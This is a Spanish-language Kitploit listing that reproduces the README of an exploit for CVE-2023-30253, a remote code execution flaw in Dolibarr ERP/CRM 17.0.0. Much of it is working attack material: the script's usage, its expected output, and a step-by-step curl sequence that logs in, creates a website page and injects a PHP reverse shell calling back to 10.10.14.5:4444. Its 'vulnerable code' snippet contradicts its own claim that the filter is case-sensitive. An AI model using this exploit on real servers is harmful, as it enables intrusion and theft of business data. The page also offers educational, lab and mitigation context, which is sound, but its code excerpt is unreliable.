Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE mediante inyección de código PHP (exploit educativo) | Kitploit
Herramientas/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE mediante inyección de código PHP (exploit educativo)

Ver Repositorio
3hace 3 mesesAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Python 3.8+ License CVSS

Exploit de inyección de código PHP para Dolibarr ERP/CRM v17.0.0 que permite obtener una shell reversa como usuario www-data mediante el módulo Website/CMS.

⚠️ Solo para uso educativo y auditorías con autorización.


📑 Índice

  • ¿Qué es CVE-2023-30253?
  • ¿Cómo funciona la vulnerabilidad?
  • Impacto
  • ¿Qué hace este exploit?
  • Requisitos
  • Instalación
  • Uso
  • Ejemplo práctico
  • El exploit paso a paso
Mitigación
  • Referencias

  • 🔍 ¿Qué es CVE-2023-30253?

    CVE-2023-30253 es una vulnerabilidad de inyección de código PHP (CWE-94: Improper Control of Generation of Code) en Dolibarr ERP/CRM versiones anteriores a 17.0.1.

    Fue descubierta y reportada por el equipo de Swascan (ahora Hacktivesecurity) en mayo de 2023. La vulnerabilidad reside en el módulo Website/CMS, que permite a usuarios autenticados crear y gestionar sitios web dentro de Dolibarr.

    CampoValor
    CVECVE-2023-30253
    CVSS v3.18.8 (HIGH)
    VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    TipoCWE-94 — Code Injection
    Software afectadoDolibarr ERP/CRM < 17.0.1
    PrivilegiosUsuario autenticado (cualquier rol)
    ParcheDolibarr 17.0.1 — commit 4f6055c

    ⚙️ ¿Cómo funciona la vulnerabilidad?

    Dolibarr implementa un filtro para evitar que los usuarios inyecten código PHP en el contenido de las páginas del módulo Website. Sin embargo, este filtro tiene un defecto crítico: es case-sensitive.

    root@kitploit:~
    // Código vulnerable (simplificado) en Dolibarr 17.0.0
    if (preg_match('/<\?php/i', $content)) {
        // Bloquea solo "<?php" en minúsculas exactas... ¿o no?
        die("PHP code detected!");
    }
    

    El filtro busca literalmente la cadena <?php en minúsculas. Pero PHP permite cualquier combinación de mayúsculas y minúsculas para la etiqueta de apertura. Esto significa que:

    Etiqueta¿Filtrada?¿Ejecutada por PHP?
    <?php ... ?>✅✅
    <?PHP ... ?>❌✅
    <?Php ... ?>❌✅
    <?pHp ... ?>❌✅

    El exploit usa <?PHP (en mayúsculas) para bypassear el filtro, pero cualquier variante funciona.

    Además, el filtro solo se aplica en el momento de guardar el contenido. Al servir la página, Dolibarr pasa el contenido sin sanitización adicional al intérprete de PHP, que ejecuta cualquier código con la etiqueta de apertura <?.


    💥 Impacto

    Un atacante autenticado puede:

    • Ejecución remota de comandos (RCE) en el servidor
    • Acceder a la base de datos de Dolibarr (clientes, facturas, usuarios)
    • Leer archivos sensibles del sistema (/etc/passwd, configuración)
    • Usar el servidor como punto de pivote para ataques internos
    • Instalar malware, webshells o backdoors persistentes

    ¿Por qué es crítico? Dolibarr se usa como ERP/CRM empresarial. Una intrusión puede exponer datos de clientes, finanzas, contratos y credenciales internas.


    🛠️ ¿Qué hace este exploit?

    El exploit automatiza el proceso completo de explotación en 5 pasos:

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────┐
    │                   CVE-2023-30253                       │
    │                                                         │
    │  1. Login          → Autenticarse en Dolibarr           │
    │  2. Create Website → Crear un sitio web vacío           │
    │  3. Create Page    → Crear una página en el sitio       │
    │  4. Inject Shell   → Inyectar PHP reverse shell         │
    │  5. Trigger        → Ejecutar el payload                │
    │                                                         │
    │  Resultado: 🎯 Shell reversa como www-data              │
    └─────────────────────────────────────────────────────────┘
    

    Características:

    • ✅ Manejo automático de tokens anti-CSRF
    • ✅ Sesión persistente con cookies
    • ✅ Detección automática del pageid
    • ✅ Modo verbose para depuración
    • ✅ Salida con colores (desactivables)
    • ✅ Payload de reverse shell vía fsockopen + proc_open

    📋 Requisitos

    • Python 3.8+
    • requests
    • beautifulsoup4

    O simplemente:

    root@kitploit:~
    pip install -r requirements.txt
    

    📦 Instalación

    root@kitploit:~
    # Clonar el repositorio
    git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
    cd CVE-2023-30253-exploit
    
    # Instalar dependencias
    pip install -r requirements.txt
    

    🚀 Uso

    root@kitploit:~
    python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
    

    Argumentos posicionales:

    ArgumentoDescripciónEjemplo
    targetURL base de Dolibarrhttp://crm.board.htb
    usernameUsuario de Dolibarradmin
    passwordContraseña de Dolibarradmin
    lhostTu IP (donde recibirás la shell)10.10.14.5
    lportTu puerto (donde recibirás la shell)4444

    Opciones:

    OpciónDescripción
    -v, --verboseMuestra información detallada de depuración
    --no-colorDesactiva colores en la salida
    -h, --helpMuestra la ayuda y ejemplos

    🎯 Ejemplo práctico

    Terminal 1 — Iniciar listener de shell reversa

    root@kitploit:~
    nc -lvnp 4444
    

    Terminal 2 — Ejecutar exploit

    root@kitploit:~
    python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
    

    Salida esperada

    root@kitploit:~
    ════════════════════════════════════════════════════════
     CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
    ════════════════════════════════════════════════════════
    
      Target:   http://crm.board.htb
      User:     admin
      LHOST:    10.10.14.5
      LPORT:    4444
      Site ID:  s3a1f2bc
    
    ──────────────────────────────────────────────────
    
    [10:45:12] Paso 1/5: Iniciando sesión...
    [10:45:12]   ✓ Sesión iniciada correctamente
    
    [10:45:13] Paso 2/5: Creando sitio web...
    [10:45:13]   ✓ Sitio web 's3a1f2bc' creado
    
    [10:45:13] Paso 3/5: Creando página en el sitio...
    [10:45:13]   ✓ Página creada dentro del sitio
    
    [10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
    [10:45:14]   ✓ Código PHP inyectado exitosamente
    
    [10:45:14] Paso 5/5: Ejecutando payload (trigger)...
    
    ════════════════════════════════════════════════════════
      EXPLOTACIÓN COMPLETADA
    ════════════════════════════════════════════════════════
    
      Trigger URL:
      http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
    
      Instrucciones:
      1. En otra terminal, inicia tu listener:
         nc -lvnp 4444
      2. Accede a la Trigger URL (el exploit ya lo hizo)
      3. Recibirás una shell reversa como www-data
    

    Terminal 1 — Shell obtenida 🎯

    root@kitploit:~
    Listening on 0.0.0.0 4444
    Connection received on 10.129.231.37 52846
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    🔬 El exploit paso a paso

    Si prefieres entender el proceso manualmente (sin el script), aquí está el flujo completo:

    1. Autenticarse

    root@kitploit:~
    # Obtener cookies y token CSRF
    curl -c cookies.txt http://crm.board.htb/ > /dev/null
    
    # Extraer token
    TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    # Login
    curl -b cookies.txt -c cookies.txt \
      -X POST "http://crm.board.htb/index.php?mainmenu=home" \
      -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
    

    2. Crear un sitio web

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?action=createsite" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
    

    ⚠️ Lección aprendida: El parámetro action correcto es addsite, no add como aparece en algunos exploits públicos.

    3. Crear una página

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
    

    4. Inyectar código PHP

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      --data-urlencode "token=$TOKEN" \
      --data-urlencode "action=updatesource" \
      --data-urlencode "website=misitio" \
      --data-urlencode "PAGE_CONTENT=$PHP"
    

    🔑 Clave del ataque: El campo correcto es PAGE_CONTENT, no WEBSITE_CONTENT. Muchos PoCs públicos tienen este error.

    5. Ejecutar el payload

    root@kitploit:~
    curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
    

    🛡️ Mitigación

    Para proteger un servidor Dolibarr contra esta vulnerabilidad:

    Actualizar (recomendado)

    root@kitploit:~
    # Actualizar a Dolibarr 17.0.1 o superior
    # El parche corrige el filtro para detectar cualquier variante de <?php
    

    Deshabilitar módulo Website

    Si no usas el módulo Website/CMS, desactívalo desde:

    root@kitploit:~
    Home → Setup → Modules → Website → Desactivar
    

    Reglas WAF (mod_security)

    root@kitploit:~
    # Bloquear cualquier variante de etiquetas PHP en el campo PAGE_CONTENT
    SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
      "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
    

    Principio de mínimo privilegio

    • No uses cuentas administrador para usuarios cotidianos
    • Limita quién puede acceder al módulo Website

    📚 Referencias

    • NVD — CVE-2023-30253
    • Swascan Advisory — Dolibarr 17.0.0 Analysis
    • Dolibarr GitHub — Commit del parche
    • CWE-94: Code Injection
    • Hacktivesecurity — Reporte Original

    📝 Disclaimer

    Este proyecto es creado con fines educativos y de investigación en seguridad informática. El uso de este exploit contra sistemas sin autorización explícita es ilegal y éticamente reprobable.

    Como profesional de ciberseguridad, creo firmemente en:

    • La divulgación responsable de vulnerabilidades
    • El hacking ético con autorización
    • Compartir conocimiento para mejorar la seguridad colectiva

    Creado por Jean Carlos
    Estudiante de Ciberseguridad | Pentesting | CTF Player
    CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

    Descargar herramienta